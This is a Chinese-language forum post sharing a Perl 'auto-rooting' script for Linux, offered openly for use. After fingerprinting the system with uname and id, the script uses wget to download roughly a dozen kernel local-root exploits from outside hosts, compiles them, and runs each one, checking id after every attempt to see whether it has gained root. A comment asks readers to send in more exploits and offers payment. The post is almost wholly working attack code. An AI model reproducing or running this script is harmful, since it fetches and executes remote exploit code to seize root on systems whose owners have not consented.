我也上一个Perl 自动提权脚本吧

2012-12-24 17:19:12 3 3214
#!/bin/perl
# Auto Rooting Linux
# By FenniC
# Local root 2007 2008 2009 for Linux
# Usage: perl autor00t.pl
# Version: 1.0 !!! By FenniC
# If you have any more local root exploits add them and send the update version to [url=mailto:[email protected]][email protected][/url]
# Users can be paid.
# Or send the exploit and i will add them my self if you dont know perl.
#
{
print "Loading system configs";
print "...";
system("uname -a");
print "...";
system("id");
print "...";
print "...";
print "Gathering Exploit range";
print "11 exploits found";
print "Test Exploit ...";
system("wget [url=www.tux-planet.fr/public/hack/exploits/kernel/sock-sendpage-local-root-exploit.tar.gz]www.tux-planet.fr/public/hack/exploits/kernel/sock-sendpage-local-root-exploit.tar.gz[/url]");
system("tar zxvf sock-sendpage-local-root-exploit.tar.gz");
system("cd sock-sendpage-local-root-exploit");
system("chmod 755 wunderbar_emporium.sh");
system("sh wunderbar_emporium.sh");
system("id");
system("cat /proc/sys/vm/mmap_min_addr");
print "Please Wait ...";
print "Exploit 1 ...";
system("wget [url=www.tux-planet.fr/public/hack/exploits/kernel/local-root-exploit-gayros.c]www.tux-planet.fr/public/hack/exploits/kernel/local-root-exploit-gayros.c[/url]");
system("gcc -o gayros local-root-exploit-gayros.c");
system("chmod 777 gayros");
system("./gayros");
system("id");
print "Exploit 2 ...";
system("wget [url=www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c]www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c[/url]");
system("gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c");
system("chmod 777 vmsplice-local-root-exploit");
system("./vmsplice-local-root-exploit");
system("id");
print "Exploit 3 ...";
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/x2]http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/x2[/url]");
system("chmod 777 x2");
system("./x2");
system("id");
print "Exploit 4 ...";
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/x]http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/x[/url]");
system("chmod 777 x");
system("./x");
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/uselib24]http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/uselib24[/url]");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
print "Exploit 5 ...";
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/root2]http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/root2[/url]");
system("chmod 777 root2");
system("id");
print "Exploit 6 ...";
system("./root2");
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/kmod2]http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/kmod2[/url]");
system("chmod 777 kmod2");
system("./kmod2");
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/h00lyshit]http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/h00lyshit[/url]");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
print "Exploit 7 ...";
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/exp.sh]http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/exp.sh[/url]");
system("chmod 755 exp.sh");
system("sh exp.sh");
system("id");
print "Exploit 8 ...";
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/elflbl]http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/elflbl[/url]");
system("chmod 777 elflbl");
system("./elflbl");
system("id");
print "Exploit 9 ...";
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/cw7.3]http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/cw7.3[/url]");
system("chmod 777 cw7.3");
system("./cw7.3");
system("id");
print "Exploit 10 ...";
system("wget [url=http://rmccurdy.com/scripts/downloaded/localroot/2.4.x/newlocal]http://rmccurdy.com/scripts/downloaded/localroot/2.4.x/newlocal[/url]");
system("chmod 777 newlocal");
system("./newlocal");
system("id");
print "Exploit 11 ...";
system("uname -a");
system("id;pwd");
print "Fucking r00t!?";
Ps: 要删号了? 在技术区发不了,扔水区来。 管理看见给转过去吧。。

关于作者

Meloidas4篇文章12篇回复

评论3次

要评论?请先  登录  或  注册